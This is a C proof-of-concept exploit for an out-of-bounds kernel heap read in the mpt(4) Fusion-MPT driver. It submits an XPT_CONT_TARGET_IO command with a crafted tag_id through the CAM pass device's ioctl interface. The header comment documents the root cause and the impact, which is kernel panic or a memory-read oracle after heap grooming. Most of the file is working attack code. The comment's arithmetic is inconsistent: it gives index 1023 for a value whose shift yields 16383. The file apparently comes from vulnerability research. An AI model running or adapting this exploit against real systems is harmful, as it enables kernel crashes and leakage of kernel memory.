DF-3672 / mpt_tag_oob.c
/* DF-3672 โ mpt(4) MPT_TAG_2_REQ OOB via user-controlled CTIO tag_id * * PoC (source-verified; runtime-gated on LSI Fusion-MPT FC hardware). * * mpt_target_start_io() resolves the backing target request with * * request_t *cmd_req = MPT_TAG_2_REQ(mpt, csio->tag_id); // mpt_cam.c:4355 * * In production kernels (no INVARIANTS) the macro is * * #define MPT_TAG_2_REQ(mpt, tag) mpt->tgt_cmd_ptrs[tag >> 18] // mpt.h:360 * * โ NO bounds check. The bounds check exists only under #ifdef INVARIANTS * (mpt.h:951-963, mpt_tag_2_req(): KASSERT(rtg < mpt->tgt_cmds_allocated)). * * tag_id (ccb_scsiio.tag_id, u_int32_t) is fully user-controlled in the * XPT_CONT_TARGET_IO CCB, which any process with an open /dev/passN node on * the mpt bus may submit via CAMIOCOMMAND (pass does not filter func codes * other than XPT_FC_XPT_ONLY โ scsi_pass.c:473-478 โ and xpt_merge_ccb() * copies the whole user payload, cam_xpt.c:3888-3900). * * tag_id >> 18 ranges over [0, 16383]; tgt_cmd_ptrs[] has only * tgt_cmds_allocated (<= min(MPT_MAX_REQUESTS/2 = 256, MaxPostedCmdBuffers)) * entries (mpt_cam.c:4251-4256). => heap OOB read of up to ~129 KB past a * <=2 KB allocation; the fetched garbage is then dereferenced as request_t* * (MPT_TGT_STATE -> req->req_vbuf, tgt->state) => wild kernel read, panic; * with heap grooming, a controlled-pointer read oracle into dmesg via * mpt_tgt_dump_req_state(). * * Run as: ./mpt_tag_oob <pass-device-on-mpt-target-mode-bus> * Preconditions: LSI FC adapter in target role, target mode enabled * (XPT_EN_LUN) so tgt_cmd_ptrs[] is populated, and one ATIO exchange queued. */ #include <sys/types.h> #include <err.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/ioctl.h> #include <bus/cam/cam.h> #include <bus/cam/cam_ccb.h> #ifndef CAMIOCOMMAND #define CAMIOCOMMAND _IOWR(CAM_VERSION, 2, union ccb) #endif int main(int argc, char **argv) { union ccb ccb; int fd; if (argc != 2) errx(1, "usage: %s /dev/passN", argv[0]); fd = open(argv[1], O_RDWR); if (fd < 0) err(1, "open %s", argv[0]); /* * XPT_CONT_TARGET_IO = 0x33 | XPT_FC_QUEUED | XPT_FC_USER_CCB * (cam_ccb.h) โ NOT XPT_FC_XPT_ONLY, so pass(4) forwards it. */ memset(&ccb, 0, sizeof(ccb)); ccb.ccb_h.func_code = XPT_CONT_TARGET_IO; ccb.ccb_h.flags = CAM_DIR_IN; ccb.ccb_h.timeout = 5000; /* * tag_id is copied verbatim into the kernel CCB payload. The kernel * computes tgt_cmd_ptrs[tag_id >> 18]. With tgt_cmds_allocated <= 256, * any tag_id >= (256 << 18) = 0x4000000 is out of bounds; 0xFFFC0000 * gives index 1023 โ ~6 KB past a 256-entry (2 KB) allocation, into * whatever follows in the heap. */ ccb.csio.tag_id = 0xFFFC0000; if (ioctl(fd, CAMIOCOMMAND, &ccb) < 0) err(1, "CAMIOCOMMAND"); printf("ccb status 0x%x โ if you got here the kernel survived " "(tag lookup missed the groomed slot)\n", ccb.ccb_h.status); return (0); } |